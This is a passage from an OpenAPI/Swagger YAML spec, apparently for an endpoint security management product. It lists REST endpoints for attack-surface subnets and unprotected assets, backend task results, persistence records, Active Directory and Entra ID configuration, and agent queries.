+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_SubnetInclusion_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_address
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_range_end
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: mac_addresses
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cidr
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/SubnetInclusion/{id}/:
+    delete:
+      description: ""
+      operationId: data_attack_surface_SubnetInclusion_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - host_properties
+    get:
+      description: ""
+      operationId: data_attack_surface_SubnetInclusion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this subnet inclusion.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_attack_surface_SubnetInclusion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      tags:
+        - host_properties
+    put:
+      description: ""
+      operationId: data_attack_surface_SubnetInclusion_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      tags:
+        - host_properties
+  /data/attack_surface/UnprotectedAsset/:
+    get:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: acknowledged
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: compatibility
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: compatibility_set_by_user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os_set_by_user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: inferred_compatibility
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: inferred_os
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: detected_agent
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: mac_addr
+          required: false
+          type: string
+        - in: query
+          name: observation_count
+          required: false
+          type: number
+        - in: query
+          name: ip
+          required: false
+          type: string
+        - in: query
+          name: oui_vendor
+          required: false
+          type: string
+        - in: query
+          name: random_hardware_address
+          required: false
+          type: string
+        - in: query
+          name: rmDNS_names
+          required: false
+          type: string
+        - in: query
+          name: rmDNS_additional_records
+          required: false
+          type: string
+        - in: query
+          name: netbios_name
+          required: false
+          type: string
+        - in: query
+          name: netbios_groups
+          required: false
+          type: string
+        - in: query
+          name: subnets_name
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/UnprotectedAssetList'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UnprotectedAssetUpdate'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetUpdate'
+      tags:
+        - host_properties
+  /data/attack_surface/UnprotectedAsset/bulk_update_compatibility/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_bulk_update_compatibility
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UnprotectedAssetBulkUpdateCompatibility'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetBulkUpdateResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetBulkUpdateResponse'
+      tags:
+        - host_properties
+  /data/attack_surface/UnprotectedAsset/bulk_update_os/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_bulk_update_os
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UnprotectedAssetBulkUpdateOS'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetBulkUpdateResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetBulkUpdateResponse'
+      tags:
+        - host_properties
+  /data/attack_surface/UnprotectedAsset/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_UnprotectedAsset_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: acknowledged
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: compatibility
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: compatibility_set_by_user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os_set_by_user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: inferred_compatibility
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: inferred_os
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: detected_agent
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/UnprotectedAsset/force_update/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_force_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UnprotectedAssetDetails'
+      responses: {}
+      tags:
+        - host_properties
+  /data/attack_surface/UnprotectedAsset/kpi/:
+    get:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_kpi
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creation_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: acknowledged
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: compatibility
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: compatibility_set_by_user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: os_set_by_user
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: inferred_compatibility
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: inferred_os
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: detected_agent
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetKPI'
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/UnprotectedAsset/{id}/:
+    delete:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - host_properties
+    get:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetDetails'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this endpoint asset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UnprotectedAssetUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetUpdate'
+      tags:
+        - host_properties
+    put:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UnprotectedAssetUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UnprotectedAssetUpdate'
+      tags:
+        - host_properties
+  /data/attack_surface/UnprotectedAsset/{id}/compatibility_history/:
+    get:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_compatibility_history
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/AssetCompatibilityHistory'
+            type: array
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this endpoint asset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/attack_surface/UnprotectedAsset/{id}/os_history/:
+    get:
+      description: ""
+      operationId: data_attack_surface_UnprotectedAsset_os_history
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/AssetOSHistory'
+            type: array
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this endpoint asset.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/backend/Task/active/:
+    get:
+      description: Details on running backend tasks. This API endpoint exists primarily for debugging live instances and is subject to change at any time.
+      operationId: data_backend_Task_active
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/TaskDetailList'
+      tags:
+        - backend
+    parameters: []
+  /data/backend/Task/scheduled/:
+    get:
+      description: Details on running backend tasks. This API endpoint exists primarily for debugging live instances and is subject to change at any time.
+      operationId: data_backend_Task_scheduled
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/TaskDetailList'
+      tags:
+        - backend
+    parameters: []
+  /data/backend/TaskResult/:
+    get:
+      description: Details on completed backend tasks. This API endpoint exists primarily for debugging live instances and is subject to change at any time.
+      operationId: data_backend_TaskResult_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: periodic_task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_args
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_kwargs
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: worker
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: content_encoding
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: result
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_created
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: date_done
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: traceback
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: meta
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/TaskResult'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - backend
+    parameters: []
+  /data/backend/TaskResult/{id}/:
+    get:
+      description: Details on completed backend tasks. This API endpoint exists primarily for debugging live instances and is subject to change at any time.
+      operationId: data_backend_TaskResult_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/TaskResult'
+      tags:
+        - backend
+    parameters:
+      - description: A unique integer value identifying this task result.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/binary_persistences/Persistence/:
+    get:
+      description: ""
+      operationId: data_binary_persistences_Persistence_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/AbstractPersistence'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/binary_persistences/Persistence/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_binary_persistences_Persistence_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/binary_persistences/Persistence/{id}/:
+    get:
+      description: ""
+      operationId: data_binary_persistences_Persistence_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AbstractPersistence'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/configuration/active_directory/:
+    get:
+      description: ""
+      operationId: data_configuration_active_directory_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ActiveDirectory'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - configuration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_configuration_active_directory_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - configuration
+  /data/configuration/active_directory/domain/:
+    get:
+      description: ""
+      operationId: data_configuration_active_directory_domain
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_Domain'
+      tags:
+        - configuration
+    parameters: []
+  /data/configuration/active_directory/domain_controllers/:
+    get:
+      description: ""
+      operationId: data_configuration_active_directory_domain_controllers
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: dnsdomainname
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_DomainController'
+            type: array
+      tags:
+        - configuration
+    parameters: []
+  /data/configuration/active_directory/force_scan_domain_controllers/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_configuration_active_directory_force_scan_domain_controllers
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/configuration/active_directory/test/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_configuration_active_directory_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/configuration/active_directory/{id}/:
+    delete:
+      description: ""
+      operationId: data_configuration_active_directory_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - configuration
+    get:
+      description: ""
+      operationId: data_configuration_active_directory_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - configuration
+    parameters:
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_configuration_active_directory_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - configuration
+    put:
+      description: ""
+      operationId: data_configuration_active_directory_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      tags:
+        - configuration
+  /data/configuration/active_directory/{id}/force_scan/:
+    parameters:
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_configuration_active_directory_force_scan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/configuration/active_directory/{id}/force_update_agent_groups/:
+    parameters:
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_configuration_active_directory_force_update_agent_groups
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveDirectory'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/configuration/entra_id/:
+    get:
+      description: ""
+      operationId: data_configuration_entra_id_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: type
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/EntraId'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - configuration
+    parameters: []
+    post:
+      description: ""
+      operationId: data_configuration_entra_id_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - configuration
+  /data/configuration/entra_id/test/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_configuration_entra_id_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/configuration/entra_id/{id}/:
+    delete:
+      description: ""
+      operationId: data_configuration_entra_id_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - configuration
+    get:
+      description: ""
+      operationId: data_configuration_entra_id_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - configuration
+    parameters:
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_configuration_entra_id_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - configuration
+    put:
+      description: ""
+      operationId: data_configuration_entra_id_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EntraId'
+      tags:
+        - configuration
+  /data/configuration/entra_id/{id}/force_scan/:
+    parameters:
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_configuration_entra_id_force_scan
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/configuration/entra_id/{id}/force_update_agent_groups/:
+    parameters:
+      - description: A UUID string identifying this config section.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_configuration_entra_id_force_update_agent_groups
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EntraId'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - configuration
+  /data/endpoint/Agent/:
+    get:
+      description: ""
+      operationId: data_endpoint_Agent_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: effective_antivirus_policy_revision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: boot_loop_protection_end_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: boot_loop_protection_boot_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: telemetry_last_update
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: should_change_id
+          required: false
+          type: string
